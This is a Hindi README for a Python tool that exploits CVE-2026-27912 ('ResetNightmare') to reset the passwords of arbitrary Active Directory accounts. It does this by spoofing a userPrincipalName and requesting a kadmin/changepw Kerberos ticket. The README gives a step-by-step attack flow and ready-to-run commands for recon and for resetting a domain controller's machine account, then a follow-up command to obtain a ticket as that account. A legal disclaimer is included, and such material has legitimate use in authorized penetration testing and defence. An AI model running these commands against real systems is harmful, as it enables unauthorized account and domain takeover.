ResetNightmare — CVE-2026-27912

Linux / impacket टूलिंग CVE-2026-27912 ("ResetNightmare") के लिए। यह लक्षित Active Directory खाते का पासवर्ड रीसेट करता है, NT_ENTERPRISE प्रिंसिपल के लिए kadmin/changepw TGT का अनुरोध करके — जिसका नाम लक्ष्य का sAMAccountName होता है — ऐसे खाते (UPNUser) का उपयोग करके जिस पर हम नकली userPrincipalName लिख सकते हैं।

Semperis Community Invoke-ResetNightmare PowerShell टूल का Python पोर्ट (देखें श्रेय)।

⚠️ कानूनी अस्वीकरण

केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उपयोग के लिए। यह टूल वास्तविक Active Directory क्रेडेंशियल बदलता है और खातों को लॉक कर सकता है।

• इसे केवल उन्हीं सिस्टम पर चलाएँ जिनके आप स्वामी हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति है (हस्ताक्षरित अनुबंध या आपके नियंत्रण वाली प्रयोगशाला)।
• कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है (जैसे US CFAA, UK Computer Misuse Act, और समकक्ष कानून) और इसके आपराधिक व नागरिक दंड हो सकते हैं।
• लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करते। सॉफ़्टवेयर "AS IS" प्रदान किया गया है — देखें LICENSE। यदि आपके पास अनुमति नहीं है, तो इसे न चलाएँ।

यह कैसे काम करता है

1. (वैकल्पिक) UPNUser बनाएँ, स्वयं को GenericAll अनुदान दें, उसका पासवर्ड सेट करें, उसे सक्षम करें।
2. लक्ष्य का sAMAccountName पता करें।
3. UPNUser.userPrincipalName = <targetSAN> सेट करें (नकली UPN)।
4. NT_ENTERPRISE '<targetSAN>' के रूप में kadmin/changepw के लिए AS-REQ करें — KDC एंटरप्राइज़ UPN को लक्ष्य पर मैप करता है और उसके लिए पासवर्ड-परिवर्तन TGT जारी करता है।
5. नकली UPN हटाएँ।
6. उस TGT के साथ kpasswd पासवर्ड-परिवर्तन → लक्ष्य का पासवर्ड सेट करता है।
7. UPNUser का मूल UPN पुनर्स्थापित करें।

इंस्टॉलेशन

python3 -m venv venv
./venv/bin/pip install -r requirements.txt

उपयोग

ऑपरेटर क्रेडेंशियल पहला पोज़िशनल तर्क है: [domain/]username[:password]। कोई भी पासवर्ड छोड़ा जा सकता है और उसके लिए आपसे पूछा जाएगा।

रीकॉन — यह खाता किसका दुरुपयोग कर सकता है? उन खातों की रिपोर्ट करता है जिन पर आप UPN लिख सकते हैं, वे OU जिनमें आप ऑब्जेक्ट बना सकते हैं, और MachineAccountQuota, सुझाए गए कमांड के साथ:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 --find

किसी लक्ष्य को रीसेट करें ऐसे खाते का उपयोग करके जिस पर आप UPN लिख सकते हैं:

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --upn-user svc_web --upn-user-password 'Svc#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

पहले UPN खाता बनाएँ (OU पर Create Child अधिकार और LDAPS की आवश्यकता है):

./venv/bin/python resetnightmare.py 'CORP.LOCAL/operator:Passw0rd!' \
  --dc-ip 10.0.0.10 \
  --create-new-path 'OU=Staging,OU=Corp,DC=corp,DC=local' \
  --upn-user pwned_user --upn-user-password 'Cr34ted#2026' \
  --target-account 'dc01$' \
  --target-new-password 'N3wPassw0rd!'

विस्तृत AS-REQ / LDAP / kpasswd लॉगिंग के लिए -debug जोड़ें।

फ़्लैग

पासवर्ड छोड़े जाने पर इंटरैक्टिव रूप से पूछे जाते हैं।

समस्या निवारण

--create-new-path विफलताएँ:

नोट:

• LDAPS डिफ़ॉल्ट रूप से चालू है। AD केवल TLS पर unicodePwd लिखना स्वीकार करता है, इसलिए --create-new-path को इसकी आवश्यकता है। --no-ssl का उपयोग केवल रीड/केवल-UPN पथों के लिए करें।
• --find केवल आपको या आपके समूहों को दिए गए allow ACEs की रिपोर्ट करता है (ऑब्जेक्ट स्वामित्व और MachineAccountQuota सहित); deny ACEs और क्रॉस-डोमेन सदस्यताओं का पूरी तरह मूल्यांकन नहीं किया जाता। खाली परिणाम यह प्रमाण नहीं है कि कोई पथ नहीं है — उपयोग से पहले सत्यापित करें।

सफलता के बाद

टूल लक्ष्य के रूप में उपयोग योग्य टिकट प्राप्त करने के लिए एक अनुवर्ती कमांड प्रिंट करता है:

getTGT.py -dc-ip 10.0.0.10 'CORP.LOCAL/dc01$:N3wPassw0rd!'

श्रेय

• Semperis Community — ResetNightmare — मूल शोध और Invoke-ResetNightmare PowerShell टूल जिसका यह प्रोजेक्ट पोर्ट है।
• impacket — Kerberos और ldaptypes प्रिमिटिव।
• ldap3 — LDAP क्लाइंट।

यह एक स्वतंत्र सामुदायिक पोर्ट है; Semperis से संबद्ध नहीं है और न ही उसके द्वारा समर्थित है।

लाइसेंस

MIT © 2026 mihat2.